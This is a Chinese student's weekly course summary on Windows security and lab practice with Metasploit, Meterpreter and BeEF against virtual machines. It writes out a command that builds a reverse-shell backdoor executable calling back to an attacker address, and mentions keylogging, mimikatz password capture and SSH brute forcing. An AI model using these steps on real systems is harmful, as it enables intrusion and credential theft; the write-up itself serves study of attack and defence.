20169305 2016-2017-2 《网络攻防技术与实践》第7周学习总结

教材学习内容总结

本周学习了《网络攻防技术与实践》第7章“Windows操作系统安全攻防”的相关内容,具体如下:

Windows操作系统基本框架概述

(来源:http://www.cnblogs.com/long123king/p/3782442.html)

由上图可知:windows操作系统分为处于处理器特权模式的操作系统内核(包括:Windows执行体 、Windows内核体 、设备驱动程序 、硬件抽象层 、Windows窗口与图形界面内核实现代码 )以及运行在处理器非特权模式的用户态空间代码(包括:系统支持进程 、 环境子系统服务进程 、服务进程 、用户应用条件 、核心子系统DLL)

Windows操作系统在内核中实现如下核心机制:windows进程和线程管理机制、Windows内存管理机制、Windows文件管理机制、Windows注册表管理机制、Windows网络机制,其中根据OSI模型将网络组件模块分为:
(1)物理层 各种网卡硬件的设备驱动程序
(2)链路层 NDIS库及miniport驱动程序
(3)网络层与传输层 TDI传输层,实现了TCP/IP等协议栈
(4)会话层与表示层 网络API、DLL及TDI客户端
(5)应用层 网络应用程序与服务进程

Windows操作系统的安全体系结构与机制

1、Windows的安全体系结构

Windows身份认证机制

Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类。Windows为每个用户和计算机设置账户(accounts)进行管理,作为这些安全主题运行程序的执行环境,账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。用户组是为了简化用户管理而引入的用户账户容器,通过将用户账户添加入特定的用户组,使得该用户拥有用户组配置的全部权限,有效地使用用户组。Windows用户账户的口令字经加密被保存于SAM或活动目录AD中。在Windows运行期间,内核对SAM文件加了一个持久性的文件锁,故即使是Administrator账户,通过正常路径也无法获取,只有LocalSystem账户权限才可以读取,但现在有许多黑客工具也可以在内存中直接dump出SAM的内容。

Windows授权与访问控制机制

Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。在用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌,在这个令牌中保存了一份与登录用户账户相关的安全主体SID标识符列表,包括用户账户本身的SID,所属用户组的SID列表,同时还包含该用户所拥有的一些系统特权列表。Windows对于系统中所有需保护的资源都抽象成对象(object),具体包括文件、目录、注册表键值、内核对象等。

Windows安全审计机制

系统审计策略在本地安全策略中由系统管理员来定义,来确定系统对哪些事件进行记录,LSASS服务将保存审计策略,并在对象启动设计功能后,在对象安全描述符中的SACL列表进行保存;SRM安全引用监控器在进行对象访问授权时,也将依据对象的SACL列表配置,对指定的对象访问和操作事件进行审计记录,发送给LSASS服务;由LSASS服务补充审计记录细节之后,再对这些审计记录发送给EventLog事件日志服务;EventLog服务最后将事件日志写入日志文件中,并通过事件查看器工具展示给系统管理员,也可以作为第三方审计日志分析工具的分析输入数据源。

Windows的其他安全机制

除了身份认证、授权与访问控制及安全审计这三个基本安全功能特性之外,Windows操作系统还包括IPsec加密与验证机制、EFS加密文件系统等。

Windows远程安全攻防技术

目前Windows的远程攻击技术可以分为以下几类:
1、远程口令猜测与破解攻击
2、攻击Windows网络服务
3、攻击Windows客户端及用户

Windows系统的安全漏洞生命周期

漏洞的发现、利用与修补过程
在安全漏洞当中,对攻击者最具价值的是远程渗透攻击可利用、后果为远程执行代码的高危型漏洞,或本地渗透攻击可利用、后果为本地特权提升的高危型漏洞,二者相结合可以造成严重的安全问题。
安全漏洞公开披露信息库
如:CVE、NVD、SecurityFocus、OSVDB等几个通用的漏洞信息库。
针对特定目标的渗透测试攻击过程
针对一个特定的主机系统目标,典型渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试。
使用Metasploit软件实施渗透测试
典型工具是 Metasploit工具,具体的使用见后面详解。

Windows远程口令猜测与破解攻击

远程口令字猜测

Windows通过基于服务器消息块SMB协议承载的文件与打印机共享服务来为网络用户提供远程访问文件系统和打印机的支持,因而它也就成为攻击者实施Windows远程口令字猜测的传统攻击渠道。

远程口令字交换通信窃听与破解

实施远程口令字攻击的经典技术是窃听网络上的口令字交换通信实施破解。Windows的在不同版本在进行网络身份认证时,使用了LanMan、NTLM和Kerberos三种认证协议。

远程口令猜测与破解防范措施

最根本的防御措施还是使用高安全强度口令
1、尽量关闭不必要的易受远程口令猜测攻击网络服务
2、配置主机防火墙来限制对端口服务
3、利用网络防火墙限制这些服务的访问
4、禁用过时且存在本质缺陷的LanMan与NTLM,仅使用经过安全加固NTLMv2与Kerberos认证协议
5、对于安全级别较高的Windows系统服务器等主机,管理员可以制定和实施强口令字策略及设定账户锁定阈值。

Windows网络服务远程渗透攻击

主要针对Windows系统默认开放的诸如135(TCP)、137(UDP)等端口进行渗透,针对NetBios网络服务、SMB网络服务、MSRPC网络服务进行攻击,还有针对微软网络服务及第三方网络服务进行远程攻击。
防范措施包括:
1、从软件设计根源上尽可能减少漏洞出现
2、管理员尽可能快的更新与应用软件安全补丁
3、在“零日”漏洞时间管理员应作出相应的防范
4、利用服务厂商及社区中的安全核对清单对服务进行配置并利用一些安全增强插件来加固所部署的网络服务
5、通过漏洞扫描软件来标识网络中已经存在的安全漏洞并及时修补,启用入侵检测机制,建立有效的事件应急相应计划。

Window本地安全攻防技术

利用之前的技术获得Windows系统的访问权后,接下来的攻击主要包括本地特权提升、敏感信息窃取、消踪灭迹、远程控制与后门程序。
提权主要利用DLL注入和破解本地程序安全漏洞实现,工具有GetAdmin及Metasploit。
敏感信息获取主要包括系统口令字密文提取、系统口令字破解及用户敏感数据窃取。
消踪灭迹主要包括关闭审计功能和清理事件日志。
远程控制与后门程序可通过各种现成的黑客工具利用命令行或是图形化界面实现。可针对各个不同的攻击手段采取相应的防范措施。

教材学习中的问题和解决过程

问题 利用Metasploit工具对Windows进行远程渗透攻击,测试漏洞为:MS08-067(这个操作和下面的Metasploit使用操作差不多,具体的可以看下面操作)

视频学习中的问题和解决过程

1、searchploit

通过使用searchploit可以方便的借助关键词搜索出漏洞信息以及漏洞对应的exp。WordPress是一种使用PHP语言开发的博客平台,我们来查看一下它的漏洞,输入指令searchploit wordpress:

我们看一下第一条的内容,使用cat指令:

因为是相对路径,改正后我们即可得到对应的结果:

2、Metasploit工具的使用

在渗透测试中会经常使用到Metasploit工具,在使用它之前首先要启动对应的服务,包括PostgreSQL数据库服务和metasploit服务,然后才可以完整的利用msf数据库查询exploit和记录(如果要配置开机自启,则可以使用如下命令update-rc.d postgresql enable和update-rc.d metasploit enable):

然后使用nmap对靶机进行扫描:

前期扫描结果得知,目标21号端口proftpd服务版本为1.3.1,然后使用msfconsole打开msf的命令行版(这个启动过程比较慢),在其中输入help可查看常用的指令,界面如下:

使用search命令搜索proftpd是否存在相应的漏洞:

通过上图我们会发现其中并没有对应的版本号,所以最后我们无法执行攻击测试。仅作一个步骤参考:使用查看参数使用show options命令:

选择payload(使用默认即可)

设置远程IP地址使用set PHOST 192.168.29.128(靶机IP):

最后使用exploit进行攻击测试,如果成功将返回一个shell(绿色表示有效):

就像上文描述的那样,由于proftpd版本不匹配,我们无法得到最终的结果。在这里我们换一个目标端口,选择扫描22端口(即ssh),使用show options查看需要设置的参数等(具体步骤就按照上面的即可,此处才不再进行重复):

设置好参数后(参数的设置包括靶机的IP,编辑一个密码字典和一个用户名字典,在对应的参数下使用set设置好),我们直接使用exploit进行攻击测试即可:

3、 Meterpreter工具的使用

利用此工具生成后门,靶机采用Windows xp系统。先在kali虚拟机上建立一个监听。使用msf当中的 exploit/multi/handler工具:

设置一下payload,然后使用show options查看一下其他需要设置的参数:

设定kali的IP地址(192.168.29.150)作为目标地址,监听端口设定为2333:

kali端的监听工作完成后,紧接着我们使用msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.29.150 LPORT=2333 | msfencode -t exe -c 5 > /root/door1.exe生成一个后门程序:

生成door1.exe文件后,我们找到它,在主文件夹的home目录下:

把它移入XP靶机中,我电脑上的XP靶机不知道什么原因总是带不起来,换了一个新的xp靶机也不好使,其实接下来就很简单了,只是几步简单的操作和命令的使用,这里就简单描述一下:
将door1.exe文件移入xp后,在kali中执行exploit进行监听,回到xp靶机中执行door1.exe文件在kali中会得到监听成功反馈信息,在这里面可以进行对靶机的信息获取,包括ip,系统信息等内容
通过 keyscan 命令可以进行键盘监听,使用 load mimikatz 进行目标机密码明文的抓取。

4、beef工具的使用

beef是一款专注于浏览器端的渗透测试工具,使用beef-xss命令启动:

打开浏览器,会发现已经自动进入beef登录界面(因为电脑和版本问题显示出现乱码):

使用默认的账户和密码(均为beef)即可进入主界面:

重新打开一个标签,在地址栏输入网址 127.0.0.1:3000/demod/basic.html(注意视频教程里的pdf网址有点问题)即可进入测试界面(随后会用到,我们先打开看看):

回到原来的界面,发现在左边的栏里会有一个在线主机:

我们任意选取一个模块做一个测试,在commands标签下有个msc,找到raw javascript,在弹出的窗口里随便写入字符(以hello sdy为例),点击下方的execute看一下结果:

proxy功能:选中目标主机,右键选择use as proxy,在rider选项中forge request编辑要发送的内容(这里选择默认即可),点击send:

在history中可以看到请求信息,一段时间后会得到下面结果:

我们可以看一下返回包的细节:

在beef中没有加载Metasploit,需要进行配置,首先打开beef-xss目录,找到config.yaml,进行编辑,将配置信息其中extension里的Metasploit改为TRUE,保存退出:

在保证IP地址修改正确,进入到相应的参数设置中(最好使用本机的IP,我使用的是192.168.29.11(之前虚拟机不好使,换了一个2.0版本的)),配置好修改一下路径后保存退出:

打开msfconsole,执行命令 load msgrpc ServerHost=192.168.29.11 Pass=abc123,load成功后会得到如下信息;

回到beef-xss目录下执行命令./beef-xss,会重新加载模块进行更新:

完成之后重启服务,继续访问浏览器对应的页面,发现无法连接,点击下方try again,使用默认密码即可登陆:

在Metasploit下会发现多了很多可以使用的模块:

学习进度条

学习目标(本学期)

1、本学期学习计划

完成网络攻防课程的学习,动手实践相关内容

2、本周完成内容

课本第七章内容的学习,学习了视频26-30的内容

学习心得

通过本周的学习对Metasploit工具有了了解,熟悉了漏洞利用工具,可以自主地进行一些操作,收获很大,但也有些不足之处,比如对概念的理解,命令的使用等等,还需要在接下来认真学习。

参考资料

《网络攻防技术与实践》
《计算机网络(第六版)》

posted on 2017-04-16 10:36  20169305孙德洋  阅读(681)  评论(4编辑  收藏  举报